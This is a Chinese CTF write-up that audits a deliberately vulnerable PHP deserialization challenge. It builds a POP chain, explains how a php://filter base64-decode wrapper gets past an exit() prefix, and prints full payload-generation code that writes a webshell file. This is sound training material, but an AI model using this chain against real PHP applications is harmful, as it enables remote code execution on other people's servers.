摘要:文章目录利用点源码代码审计协议绕过死亡关于的说明构造链构造完利用点协议绕过死亡源码
error_reporting(0);class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = "flysystem", $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ "path", "dirname", "basename", "extension", "filename", "size", "mimetype", "visibility", "timestamp", "type", ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } }}class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options["prefix"] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options["serialize"]; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options["expire"]; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (/Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options["data_compress"] && function_exists("gzcompress")) { //数据压缩 $data = gzcompress($data, 3); } $data = " . sprintf("%012d", $expire) . "/n exit();?>/n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; }}if (isset($_GET["src"])){ highlight_file(__FILE__);}$dir = "uploads/";if (!is_dir($dir)){ mkdir($dir);}unserialize($_GET["data"]);
B类有一写文件函数,目标应该是写shell,位于B::set()
$result = file_put_contents($filename, $data);
先看$filename
$filename = $this->getCacheKey($name);
追一下B::getCacheKey()
public function getCacheKey(string $name): string { return $this->options["prefix"] . $name;}
这里的$options是一个数组,可以控制,$name也是一个可以被控制的变量,也就是说文件名和前缀都是可以控制的,经过观察,这里的$name来自于B::set()传入
public function set($name, $value, $expire = null): bool
然后看一下写入的文件内容$data,往上追一步
$data = " . sprintf("%012d", $expire) . "/n exit();?>/n" . $data;
这里首先命令是拼接在exit()之后的,如果正常写入是永远无法执行的,也就是死亡exit(),关于死亡exit()的绕过,P神有文章讲解
简而言之就是将命令先base64,拼接到exit()之后,再用filter协议base64解码写入。这里的sprintf是12位数字,传入的$expire=0即可。由于解码自动跳过非法字符,这样死亡exit()就会只剩下base64密文php//000000000000exit
还有后面的命令,同时由于base64是每4字符一组,所以后面$data要补三个可见字符凑够12字符,这样传入的base64密文如下,再经过一次base64后就是php命令了
php//000000000000exit(待执行命令的base64)
刚好file_put_contents支持解析伪协议:那么B::$options["prefix"]
赋值为php://filter/write=convert.base64-decode/resource=
,传入B::set()的参数$expire赋值为任意不超过12位数字,先去追一下$expire的来源
格式化为int
$expire = $this->getExpireTime($expire);
然后有个赋值判断
if (is_null($expire)) { $expire = $this->options["expire"];}
然后$expire来源于set传参
public function set($name, $value, $expire = null): bool
因此$expire可以是来自传参,也可以是B::$options["expire"]
搞定了$expire,再向上追一下$data,要绕过死亡exit(),上面有个数据压缩的函数,这里不能进去,把options["data_compress"]
赋值为false
if ($this->options["data_compress"] && function_exists("gzcompress")) { //数据压缩 $data = gzcompress($data, 3);}
往上一步找到$data的来源了,来自B::serialize($value)
$data = $this->serialize($value);
$value来自B::set()
的传参,这个serialize函数是B类自己定义的,这里可控,作为传入一个函数方法
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options["serialize"]; return $serialize($data);}
这一步serialize是一次多余的操作,我们的目标就是要经过这个函数处理,但是返回的内容不变,可以选择编码(传入base64,再此解码)、或者是去除传入命令两侧的空白字符(rtrim)等,啥都不干就行,payload默认选择进行一次base64解码
看看A类的析构函数
public function __destruct() { if (!$this->autosave) { $this->save(); }}
要进入save函数,首先要使得A::$autosave赋值为0,save函数调用了set函数
public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
只要让A::$store赋值为new B()就能调用B::set(),也就完成了两个类的联系。这里的$key对应写入的文件名,$contents对应写入的内容,看一下它的来源
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
这里的$cleaned来源于$A::cache
,是一个空数组;写入内容又来源于A::$complete
最后一个难点在于构造payload赋值给A::$complete
A::$complete
需要一次base64_encode()
见上文关于B::serialize()的说明
A::$complete = base64_encode("aaa".base64_encode(""));
写入一句话木马用蚁剑连接
根据上面代码审计,构造POP链
file_put_contents();B::set(); + B::getExpireTime(); + B::getCacheKey(); + B::serialize();A::save() + A::getForStorage() + A::cleanContents();A::__destruct();
class B{ public $options; public function __construct(){ $this->options = array(); // 绕过死亡exit使用filter伪协议 $this->options["prefix"] = "php://filter/write=convert.base64-decode/resource="; // 跳过数据压缩 $this->options["data_compress"] = 0; // 什么都不做的函数,这里执行一次base64解码 $this->options["serialize"] = "base64_decode"; // 补齐sprintf $this->options["expire"] = 0; }}
class A{ protected $key; protected $store; protected $expire; public function __construct(){ // 进入A::save() $this->autosave = 0; // B::set()入口 $this->store = new B(); // 初始赋值 $this->cache = array(); // 写入webshell的文件名 $this->key = "1.php"; // payload $this->complete = base64_encode("aaa".base64_encode("")); }}
class A{ protected $key; protected $store; protected $expire; public function __construct(){ $this->autosave = 0; $this->store = new B(); $this->cache = array(); $this->key = "1.php"; $this->complete = base64_encode("aaa".base64_encode("")); }}class B{ public $options; public function __construct(){ $this->options = array(); $this->options["prefix"] = "php://filter/write=convert.base64-decode/resource="; $this->options["data_compress"] = 0; $this->options["serialize"] = "base64_decode"; $this->options["expire"] = 0; }}echo urlencode(serialize(new A()));
欢迎在评论区留言
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/121929.html
摘要:两次编码值为构造所以我们的就是成功拿到极客大挑战这种就是抓抓包了,发现有单引号报错那就是典型的万能密码了极客大挑战先看网页源代码吧试了试居然解出了。 [CTF从0到...
摘要:年月日,在国庆节到来之前的周日,我们开展了战队的第二次会议,在第一次到第二次会议开展之间,又有几个小伙伴加入了我们。第二次会议,仍然是在网络中心的会议室内召开,不过与会的人员除了第一次的几位小伙伴,还有一些新加入的成员。 2021年9月26日,在国庆节到来之前的周日,我们开展...
摘要:你传你呢学习链接的使用技巧总结测试发现过滤了后缀中间件是可以上传图片马。 [MRCTF2020]你传你🐎呢 学习链接:[CTF].ht...
摘要:这里使用双写绕过就好啦查表得到表名查列名查数据见我另一篇博客吖 Havefun F12 EasySQL 1' or 1=1# Secret File...
摘要:我们会在文档里找到函数借此来进行切换用户构造最终假设库中有即目录遍历函数 题目啥都没说 在判断注入点是发现提示 something in files 猜测目录文件里...
阅读 2757·2023-04-25 19:20
阅读 594·2021-11-24 09:38
阅读 2694·2021-11-18 10:02
阅读 3431·2021-10-09 09:41
阅读 1851·2021-09-26 09:55
阅读 2280·2021-09-02 15:11
阅读 1597·2019-08-30 15:55
阅读 3444·2019-08-30 15:54